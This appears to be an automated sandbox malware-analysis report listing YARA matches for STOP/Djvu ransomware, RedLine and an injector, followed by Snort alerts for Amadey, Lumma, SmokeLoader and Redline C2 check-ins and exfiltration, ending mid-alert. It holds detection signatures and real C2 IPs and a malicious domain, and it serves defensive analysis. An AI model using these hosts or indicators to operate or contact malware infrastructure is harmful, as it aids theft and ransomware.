19.2.2355.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 8F 88 44 24 2B 88 44 24 2F B0 12 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
8.2.4FC4.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.4FC4.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.4FC4.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
36.2.B03B.exe.40515a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
36.2.B03B.exe.40515a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
36.2.B03B.exe.40515a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
26.2.4149.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
26.2.4149.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
26.2.4149.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.4149.exe.40e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.4149.exe.40e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.4149.exe.40e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.0.F0EE.exe.9d0000.0.unpack	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x424e9b:$s1: Runner 0x425000:$s3: RunOnStartup 0x424eaf:$a1: Antis 0x424edc:$a2: antiVM 0x424ee3:$a3: antiSandbox 0x424eef:$a4: antiDebug 0x424ef9:$a5: antiEmulator 0x424f06:$a6: enablePersistence 0x424f18:$a7: enableFakeError 0x425029:$a8: DetectVirtualMachine 0x42504e:$a9: DetectSandboxie 0x425079:$a10: DetectDebugger 0x425088:$a11: CheckEmulator
7.2.4FC4.exe.40e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.4FC4.exe.40e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.4FC4.exe.40e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
39.2.89B0.exe.40915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
39.2.89B0.exe.40915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
39.2.89B0.exe.40915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
39.2.89B0.exe.40915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
39.2.89B0.exe.40915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
39.2.89B0.exe.40915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
20.2.B666.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
20.2.B666.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
20.2.B666.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.D5C1.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.D5C1.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.D5C1.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.4149.exe.40a15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.4149.exe.40a15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.4149.exe.40a15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.4149.exe.41115a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.4149.exe.41115a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.4149.exe.41115a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.4149.exe.40e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.4149.exe.40e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.4149.exe.40e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
36.2.B03B.exe.40515a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
36.2.B03B.exe.40515a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
36.2.B03B.exe.40515a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
20.2.B666.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
20.2.B666.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
20.2.B666.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.F0EE.exe.41ffd90.1.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.F0EE.exe.4191d50.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 128 entries

Snort Signatures

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10849854802045057 07/27/23-18:27:46.279001
SID:	2045057
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050040802027700 07/27/23-18:28:06.500314
SID:	2027700
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049810802027700 07/27/23-18:27:38.197127
SID:	2027700
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.850622532045695 07/27/23-18:27:27.209982
SID:	2045695
Source Port:	50622
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.850861532045695 07/27/23-18:27:00.444061
SID:	2045695
Source Port:	50861
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.860550532045695 07/27/23-18:27:09.364936
SID:	2045695
Source Port:	60550
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049792802044695 07/27/23-18:27:34.959840
SID:	2044695
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.750022802043206 07/27/23-18:28:03.214580
SID:	2043206
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049727802027700 07/27/23-18:27:21.756307
SID:	2027700
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049825802027700 07/27/23-18:27:40.018920
SID:	2027700
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049951802027700 07/27/23-18:27:56.045492
SID:	2027700
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049774802044695 07/27/23-18:27:30.411080
SID:	2044695
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049872802044695 07/27/23-18:27:48.065922
SID:	2044695
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.855570532045695 07/27/23-18:26:55.838865
SID:	2045695
Source Port:	55570
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050019802027700 07/27/23-18:28:03.107194
SID:	2027700
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.856022532045695 07/27/23-18:27:04.501529
SID:	2045695
Source Port:	56022
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049788802027700 07/27/23-18:27:32.742218
SID:	2027700
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049808802044695 07/27/23-18:27:37.808371
SID:	2044695
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049984802027700 07/27/23-18:27:58.309871
SID:	2027700
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049887802044695 07/27/23-18:27:49.864302
SID:	2044695
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050037802027700 07/27/23-18:28:05.896049
SID:	2027700
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049730802027700 07/27/23-18:27:22.123798
SID:	2027700
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050038802044695 07/27/23-18:28:06.119097
SID:	2044695
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049862802044695 07/27/23-18:27:46.899338
SID:	2044695
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050031802044695 07/27/23-18:28:04.797949
SID:	2044695
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Backdoor.Win32.Pushdo.s Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.750043802016867 07/27/23-18:28:14.151338
SID:	2016867
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050027802027700 07/27/23-18:28:04.181576
SID:	2027700
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 187.204.99.218

Timestamp:	192.168.2.4187.204.99.21849760802036333 07/27/23-18:27:29.182970
SID:	2036333
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 51.89.201.49 - Destination IP: 192.168.2.4

Timestamp:	51.89.201.49192.168.2.46932497512043234 07/27/23-18:27:26.603543
SID:	2043234
Source Port:	6932
Destination Port:	49751
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 190.139.250.133

